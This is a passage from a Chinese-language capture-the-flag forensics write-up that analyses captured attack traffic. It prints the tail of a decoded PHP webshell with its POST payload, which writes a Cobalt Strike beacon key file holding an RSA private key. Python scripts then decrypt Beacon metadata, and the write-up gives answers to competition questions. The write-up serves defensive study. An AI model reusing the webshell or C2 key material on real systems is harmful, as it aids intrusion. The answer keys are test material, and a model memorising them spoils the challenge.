// 以追加模式("a")写入文件,并输出结果 (1 成功 / 0 失败)
echo (@fwrite(fopen($f, "a"), $buf) ? "1" : "0");
} catch (Exception $e) {
echo "ERROR://" . $e->getMessage();
}
asoutput(); // 输出结果并添加标记
die();
// --- 附加的 POST 数据开始 ---
/*
&e5a7ffc1593c87=ACED000573720014736C6565702E72756E74696D652E5363616C6172BCAF35AC4B70E0460300034C0005617272617974001B4C736C6565702F72756E74696D652F5363616C617241727261793B4C00046861736874001A4C736C6565702F72756E74696D652F5363616C6172486173683B4C000576616C756574001A4C736C6565702F72756E74696D652F5363616C6172547970653B78707372001E736C6565702E656E67696E652E74797065732E4F626A65637456616C7565B97928DB605AE7890200014C000576616C75657400124C6A6176612F6C616E672F4F626A6563743B7870737200156A6176612E73656375726974792E4B65795061697297030C3AD2CD12930200024C000A707269766174654B657974001A4C6A6176612F73656375726974792F507269766174654B65793B4C00097075626C69634B65797400194C6A6176612F73656375726974792F5075626C69634B65793B7870737200146A6176612E73656375726974792E4B6579526570BDF94FB3889AA5430200044C0009616C676F726974686D7400124C6A6176612F6C616E672F537472696E673B5B0007656E636F6465647400025B424C0006666F726D617471007E000D4C00047479706574001B4C6A6176612F73656375726974792F4B657952657024547970653B7870740003525341757200025B42ACF317F8060854E002000078700000027B30820277020100300D06092A864886F70D0101010500048202613082025D02010002818100822C47DEE089249F491520BBA80B9C9111AF81653988A7D01BB80FD2B6A3B3E5038A4D90EEFDE91162A9A841375054A2BF4EAC251F003909408040ADD20ED0D9F7EEE58B5E746100032F1546D80C25D13E1513A9FE414831381FD4A116FE1EA1AB8D0E899424E1A386421C9539CF05BB16EB48584CF7A3BF5F4827FF2A5DBFE502030100010281802060FE51907D5C7828781267CB217444DB66D1E3495FD60A1C52F8D09B7075C751CD9D849F05D66AE625383E5C916534042D0001CDC7C2E82BBC9B1A0165810A5360669E1807C2F13B05BC6D8B209D3719B13D0AD83D079D804FE7D24ACABD8EB716456DA4E185600F79898DE4DA7CAC9191A5574C700C5D831A170DC98C16C1024100CAE58723E4EF4A940BFA528A9D9D40FF36377694068EB3E753B59CE9A80BB0419D60965CEDD6D861623D12AF8B2E343D234461135E02BC9AE41786AFE8F4B621024100A43E206F9D6BF21F3465C61D778F0EE96E666E8399E62B6087E351499AEAFB5FFD830BB72DA3D4D43AF030E83E4C7EAEFBE2A8A8721E97ABCBC011967AD18945024100BBD68D2B34EA3810219AA8C9FDAB351E51123DEC42B9E061FC0479F5738706B16842A051FE3AD5EE2A65C223D4657D2550BE20652EB6B7E769DD41EB1F6F56210241008D1A92E3516B9BE8132C1CB8D42EA3B1089817FA180E16D627E8B3BD78CAC88BFF50C68FE93607730DEFAD14D9F0FE2577619364A4268447A414AF07891CDBC10240019EB5D20E8D377738F47CFAD07028887ADB998DD68BDE7954975EC7207D926DC94B8EF314405B4F8BED8E0B3B21EEE5E2FF4064E2CAF44DEB13BC643B225A57740006504B435323387E7200196A6176612E73656375726974792E4B6579526570245479706500000000000000001200007872000E6A6176612E6C616E672E456E756D00000000000000001200007870740007505249564154457371007E000C71007E00117571007E0012000000A230819F300D06092A864886F70D010101050003818D0030818902818100822C47DEE089249F491520BBA80B9C9111AF81653988A7D01BB80FD2B6A3B3E5038A4D90EEFDE91162A9A841375054A2BF4EAC251F003909408040ADD20ED0D9F7EEE58B5E746100032F1546D80C25D13E1513A9FE414831381FD4A116FE1EA1AB8D0E899424E1A386421C9539CF05BB16EB48584CF7A3BF5F4827FF2A5DBFE50203010001740005582E3530397E71007E00157400065055424C4943707078
&g6df68d1db7c5b=nDL3Zhci93d3cvaHRtbC8uY29iYWx0c3RyaWtlLmJlYWNvbl9rZXlz
*/
?
代码是写入十六进制到.cobaltstrike.beacon_keys中,我们在分析流量的时候要分析的全面一些,才可以知道攻击者的具体操作,然后我们解密十六进制然后写入到.cobaltstrike.beacon_keys中,通过.cobaltstrike.beacon_keys来获取公钥和私钥进而解密cookie
解密脚本
import base64
import javaobj.v2 as javaobj
with open(".cobaltstrike.beacon_keys", "rb") as fd:
pobj = javaobj.load(fd)
privateKey = pobj.array.value.privateKey.encoded.data
publicKey = pobj.array.value.publicKey.encoded.data
privateKey = (
b"-----BEGIN PRIVATE KEY-----\n"
+ base64.encodebytes(bytes(map(lambda x: x & 0xFF, privateKey)))
+ b"-----END PRIVATE KEY-----"
)
publicKey = (
b"-----BEGIN PUBLIC KEY-----\n"
+ base64.encodebytes(bytes(map(lambda x: x & 0xFF, publicKey)))
+ b"-----END PUBLIC KEY-----"
)
print(privateKey.decode())
print(publicKey.decode())
解密后如下
然后去复制cookie,使用脚本解密,需要替换公钥和私钥
import hashlib
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import base64
import hexdump
PRIVATE_KEY = """-----BEGIN RSA PRIVATE KEY-----
{}
-----END RSA PRIVATE KEY-----"""
encode_data = "JAEmiE+6p5+Hbe6piktIShTPIK7JiKrtssePQ/pE3x0R9ftWtpkVWsnNVwEaPTfxCjg10BEZF8UiozqkZYII/VY+TdcmvPkX3byPte4atzAiaxfnqO8k1bKKhD08YDCpF0SwfHaa5UoHDerqaYXWtFS237bHUcQYFeDO5ADYGdk="
base64_key = """MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAIIsR97giSSfSRUgu6gLnJERr4Fl
OYin0Bu4D9K2o7PlA4pNkO796RFiqahBN1BUor9OrCUfADkJQIBArdIO0Nn37uWLXnRhAAMvFUbY
DCXRPhUTqf5BSDE4H9ShFv4eoauNDomUJOGjhkIclTnPBbsW60hYTPejv19IJ/8qXb/lAgMBAAEC
gYAgYP5RkH1ceCh4EmfLIXRE22bR40lf1gocUvjQm3B1x1HNnYSfBdZq5iU4PlyRZTQELQABzcfC
6Cu8mxoBZYEKU2BmnhgHwvE7BbxtiyCdNxmxPQrYPQedgE/n0krKvY63FkVtpOGFYA95iY3k2nys
kZGlV0xwDF2DGhcNyYwWwQJBAMrlhyPk70qUC/pSip2dQP82N3aUBo6z51O1nOmoC7BBnWCWXO3W
2GFiPRKviy40PSNEYRNeArya5BeGr+j0tiECQQCkPiBvnWvyHzRlxh13jw7pbmZug5nmK2CH41FJ
mur7X/2DC7cto9TUOvAw6D5Mfq774qioch6Xq8vAEZZ60YlFAkEAu9aNKzTqOBAhmqjJ/as1HlES
PexCueBh/AR59XOHBrFoQqBR/jrV7iplwiPUZX0lUL4gZS62t+dp3UHrH29WIQJBAI0akuNRa5vo
EywcuNQuo7EImBf6GA4W1ifos714ysiL/1DGj+k2B3MN760U2fD+JXdhk2SkJoRHpBSvB4kc28EC
QAGetdIOjTd3OPR8+tBwKIh625mN1oveeVSXXscgfZJtyUuO8xRAW0+L7Y4LOyHu5eL/QGTiyvRN
6xO8ZDsiWlc="""
private_key = RSA.import_key(PRIVATE_KEY.format(base64_key).encode())
cipher = PKCS1_v1_5.new(private_key)
ciphertext = cipher.decrypt(base64.b64decode(encode_data), 0)
def isFlag(var, flag):
return (var & flag) == flag
def toIP(var):
var2 = (var & -16777216) >> 24
var4 = (var & 16711680) >> 16
var6 = (var & 65280) >> 8
var8 = var & 255
return str(var2) + "." + str(var4) + "." + str(var6) + "." + str(var8)
def getName(var0):
if var0 == 37:
return "IBM037"
elif var0 == 437:
return "IBM437"
elif var0 == 500:
return "IBM500"
elif var0 == 708:
return "ISO-8859-6"
elif var0 == 709:
return ""
elif var0 == 710:
return ""
elif var0 == 720:
return "IBM437"
elif var0 == 737:
return "x-IBM737"
elif var0 == 775:
return "IBM775"
elif var0 == 850:
return "IBM850"
elif var0 == 852:
return "IBM852"
elif var0 == 855:
return "IBM855"
elif var0 == 857:
return "IBM857"
elif var0 == 858:
return "IBM00858"
elif var0 == 860:
return "IBM860"
elif var0 == 861:
return "IBM861"
elif var0 == 862:
return "IBM862"
elif var0 == 863:
return "IBM863"
elif var0 == 864:
return "IBM864"
elif var0 == 865:
return "IBM865"
elif var0 == 866:
return "IBM866"
elif var0 == 869:
return "IBM869"
elif var0 == 870:
return "IBM870"
elif var0 == 874:
return "x-windows-874"
elif var0 == 875:
return "IBM875"
elif var0 == 932:
return "Shift_JIS"
elif var0 == 936:
return "x-mswin-936"
elif var0 == 949:
return "x-windows-949"
elif var0 == 950:
return "Big5"
elif var0 == 1026:
return "IBM1026"
elif var0 == 1047:
return "IBM1047"
elif var0 == 1140:
return "IBM01140"
elif var0 == 1141:
return "IBM01141"
elif var0 == 1142:
return "IBM01142"
elif var0 == 1143:
return "IBM01143"
elif var0 == 1144:
return "IBM01144"
elif var0 == 1145:
return "IBM01145"
elif var0 == 1146:
return "IBM01146"
elif var0 == 1147:
return "IBM01147"
elif var0 == 1148:
return "IBM01148"
elif var0 == 1149:
return "IBM01149"
elif var0 == 1200:
return "UTF-16LE"
elif var0 == 1201:
return "UTF-16BE"
elif var0 == 1250:
return "windows-1250"
elif var0 == 1251:
return "windows-1251"
elif var0 == 1252:
return "windows-1252"
elif var0 == 1253:
return "windows-1253"
elif var0 == 1254:
return "windows-1254"
elif var0 == 1255:
return "windows-1255"
elif var0 == 1256:
return "windows-1256"
elif var0 == 1257:
return "windows-1257"
elif var0 == 1258:
return "windows-1258"
elif var0 == 1361:
return "x-Johab"
elif var0 == 10000:
return "x-MacRoman"
elif var0 == 10001:
return ""
elif var0 == 10002:
return ""
elif var0 == 10003:
return ""
elif var0 == 10004:
return "x-MacArabic"
elif var0 == 10005:
return "x-MacHebrew"
elif var0 == 10006:
return "x-MacGreek"
elif var0 == 10007:
return "x-MacCyrillic"
elif var0 == 10008:
return ""
elif var0 == 10010:
return "x-MacRomania"
elif var0 == 10017:
return "x-MacUkraine"
elif var0 == 10021:
return "x-MacThai"
elif var0 == 10029:
return "x-MacCentralEurope"
elif var0 == 10079:
return "x-MacIceland"
elif var0 == 10081:
return "x-MacTurkish"
elif var0 == 10082:
return "x-MacCroatian"
elif var0 == 12000:
return "UTF-32LE"
elif var0 == 12001:
return "UTF-32BE"
elif var0 == 20000:
return "x-ISO-2022-CN-CNS"
elif var0 == 20001:
return ""
elif var0 == 20002:
return ""
elif var0 == 20003:
return ""
elif var0 == 20004:
return ""
elif var0 == 20005:
return ""
elif var0 == 20105:
return ""
elif var0 == 20106:
return ""
elif var0 == 20107:
return ""
elif var0 == 20108:
return ""
elif var0 == 20127:
return "US-ASCII"
elif var0 == 20261:
return ""
elif var0 == 20269:
return ""
elif var0 == 20273:
return "IBM273"
elif var0 == 20277:
return "IBM277"
elif var0 == 20278:
return "IBM278"
elif var0 == 20280:
return "IBM280"
elif var0 == 20284:
return "IBM284"
elif var0 == 20285:
return "IBM285"
elif var0 == 20290:
return "IBM290"
elif var0 == 20297:
return "IBM297"
elif var0 == 20420:
return "IBM420"
elif var0 == 20423:
return ""
elif var0 == 20424:
return "IBM424"
elif var0 == 20833:
return ""
elif var0 == 20838:
return "IBM-Thai"
elif var0 == 20866:
return "KOI8-R"
elif var0 == 20871:
return "IBM871"
elif var0 == 20880:
return ""
elif var0 == 20905:
return ""
elif var0 == 20924:
return ""
elif var0 == 20932:
return "EUC-JP"
elif var0 == 20936:
return "GB2312"
elif var0 == 20949:
return ""
elif var0 == 21025:
return "x-IBM1025"
elif var0 == 21027:
return ""
elif var0 == 21866:
return "KOI8-U"
elif var0 == 28591:
return "ISO-8859-1"
elif var0 == 28592:
return "ISO-8859-2"
elif var0 == 28593:
return "ISO-8859-3"
elif var0 == 28594:
return "ISO-8859-4"
elif var0 == 28595:
return "ISO-8859-5"
elif var0 == 28596:
return "ISO-8859-6"
elif var0 == 28597:
return "ISO-8859-7"
elif var0 == 28598:
return "ISO-8859-8"
elif var0 == 28599:
return "ISO-8859-9"
elif var0 == 28603:
return "ISO-8859-13"
elif var0 == 28605:
return "ISO-8859-15"
elif var0 == 29001:
return ""
elif var0 == 38598:
return "ISO-8859-8"
elif var0 == 50220:
return "ISO-2022-JP"
elif var0 == 50221:
return "ISO-2022-JP-2"
elif var0 == 50222:
return "ISO-2022-JP"
elif var0 == 50225:
return "ISO-2022-KR"
elif var0 == 50227:
return "ISO-2022-CN"
elif var0 == 50229:
return "ISO-2022-CN"
elif var0 == 50930:
return "x-IBM930"
elif var0 == 50931:
return ""
elif var0 == 50933:
return "x-IBM933"
elif var0 == 50935:
return "x-IBM935"
elif var0 == 50936:
return ""
elif var0 == 50937:
return "x-IBM937"
elif var0 == 50939:
return "x-IBM939"
elif var0 == 51932:
return "EUC-JP"
elif var0 == 51936:
return "GB2312"
elif var0 == 51949:
return "EUC-KR"
elif var0 == 51950:
return ""
elif var0 == 52936:
return "GB2312"
elif var0 == 54936:
return "GB18030"
elif var0 == 57002:
return "x-ISCII91"
elif var0 == 57003:
return "x-ISCII91"
elif var0 == 57004:
return "x-ISCII91"
elif var0 == 57005:
return "x-ISCII91"
elif var0 == 57006:
return "x-ISCII91"
elif var0 == 57007:
return "x-ISCII91"
elif var0 == 57008:
return "x-ISCII91"
elif var0 == 57009:
return "x-ISCII91"
elif var0 == 57010:
return "x-ISCII91"
elif var0 == 57011:
return "x-ISCII91"
elif var0 == 65000:
return ""
elif var0 == 65001:
return "UTF-8"
if ciphertext[0:4] == b'\x00\x00\xBE\xEF':
# 16
raw_aes_keys = ciphertext[8:24]
# 2
var9 = ciphertext[24:26]
var9 = int.from_bytes(var9, byteorder='little', signed=False)
var9 = getName(var9)
# 2
var10 = ciphertext[26:28]
var10 = int.from_bytes(var10, byteorder='little', signed=False)
var10 = getName(var10)
# 4
id = ciphertext[28:32]
id = int.from_bytes(id, byteorder='big', signed=False)
print("Beacon id:{}".format(id))
# 4
pid = ciphertext[32:36]
pid = int.from_bytes(pid, byteorder='big', signed=False)
print("pid:{}".format(pid))
# 2
port = ciphertext[36:38]
port = int.from_bytes(port, byteorder='big', signed=False)
print("port:{}".format(port))
# 1
flag = ciphertext[38:39]
flag = int.from_bytes(flag, byteorder='big', signed=False)
# print(flag)
if isFlag(flag, 1):
barch = ""
pid = ""
is64 = ""
elif isFlag(flag, 2):
barch = "x64"
else:
barch = "x86"
if isFlag(flag, 4):
is64 = "1"
else:
is64 = "0"
if isFlag(flag, 8):
bypassuac = "True"
else:
bypassuac = "False"
print("barch:" + barch)
print("is64:" + is64)
print("bypass:" + bypassuac)
# 2
var_1 = ciphertext[39:40]
var_2 = ciphertext[40:41]
var_1 = int.from_bytes(var_1, byteorder='big', signed=False)
var_2 = int.from_bytes(var_2, byteorder='big', signed=False)
windows_var = str(var_1) + "." + str(var_2)
print("windows var:" + windows_var)
# 2
windows_build = ciphertext[41:43]
windows_build = int.from_bytes(windows_build, byteorder='big', signed=False)
print("windows build:{}".format(windows_build))
# 4
x64_P = ciphertext[43:47]
# 4
ptr_gmh = ciphertext[47:51]
# 4
ptr_gpa = ciphertext[51:55]
# if ("x64".equals(this.barch)) {
# this.ptr_gmh = CommonUtils.join(var10, this.ptr_gmh)
# this.ptr_gpa = CommonUtils.join(var10, this.ptr_gpa)
# }
#
# this.ptr_gmh = CommonUtils.bswap(this.ptr_gmh)
# this.ptr_gpa = CommonUtils.bswap(this.ptr_gpa)
# 4
intz = ciphertext[55:59]
intz = int.from_bytes(intz, byteorder='little', signed=False)
intz = toIP(intz)
if intz == "0.0.0.0":
intz = "unknown"
print("host:" + intz)
if var9 == None:
ddata = ciphertext[59:len(ciphertext)].decode("ISO8859-1")
else:
# ??x-mswin-936
# ddata = ciphertext[59:len(ciphertext)].decode(var9)
ddata = ciphertext[59:len(ciphertext)].decode("ISO8859-1")
ddata = ddata.split("\t")
if len(ddata) > 0:
computer = ddata[0]
if len(ddata) > 1:
username = ddata[1]
if len(ddata) > 2:
process = ddata[2]
print("PC name:" + computer)
print("username:" + username)
print("process name:" + process)
raw_aes_hash256 = hashlib.sha256(raw_aes_keys)
digest = raw_aes_hash256.digest()
aes_key = digest[0:16]
hmac_key = digest[16:]
print("AES key:{}".format(aes_key.hex()))
print("HMAC key:{}".format(hmac_key.hex()))
print(hexdump.hexdump(ciphertext))
D:\2.PythonProject\.venv\Scripts\python.exe D:\2.PythonProject\1.py
Beacon id:1598071084
pid:1636
port:0
barch:x64
is64:1
bypass:True
windows var:6.2
windows build:9200
host:192.168.111.167
PC name:DESKTOP-K196DPF
username:Administrator
process name:setup.exe
AES key:2686819f05f69625822072f24c23490b
HMAC key:2d4deb284a377424da59cdaa7e56b628
00000000: 00 00 BE EF 00 00 00 5A BC A7 7C 15 22 E7 7A 36 .......Z..|.".z6
00000010: 4B 25 3A B7 15 58 5B 37 A8 03 A8 03 5F 40 A1 2C K%:..X[7...._@.,
00000020: 00 00 06 64 00 00 0E 06 02 23 F0 00 00 7F F8 D8 ...d.....#......
00000030: 1B 8C 40 D8 1B 3F 10 A7 6F A8 C0 44 45 53 4B 54 ..@..?..o..DESKT
00000040: 4F 50 2D 4B 31 39 36 44 50 46 09 41 64 6D 69 6E OP-K196DPF.Admin
00000050: 69 73 74 72 61 74 6F 72 09 73 65 74 75 70 2E 65 istrator.setup.e
00000060: 78 65 xe
None
进程已结束,退出代码为 0
需要一个一个去解密,这里我直接使用CTF-NAT一把嗦出来,设置一下.cobaltstrike.beacon_keys的位置,然后分析即可
secret:hahaha_114514
答案:hahaha_114514
10. 被控主机运行的存储服务,及其端口是什么?【标准格式:amazon_s3:114】
我们分析得到被控主机是192.168.111.167,那么就去筛选这个主机,先尝试看开放端口如此看来,192.168.111.167这个主机回应的端口只有一个,那就是9000
我们去追踪一个流量,去分析一下它是什么服务就好了
从这里可以看到请求192.168.111.167这个ip的9000端口,响应中存在一个MinIO Console
答案:minio:9000
11. 被控主机最终向远控主机发送心跳包时间间隔是多少?【标准格式:1s】
筛选通信的流量,可以发现是20s一次
答案:20s
12. 被控主机存储桶中文件md5值是什么?【标准格式:32位小写数字字母】
筛选被控主机,然后筛选端口为9000
最后计算md5值
答案:67eba0f9bbb309b4bd55e14e182edaa2
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛查查 《2025年龙信杯部分WP》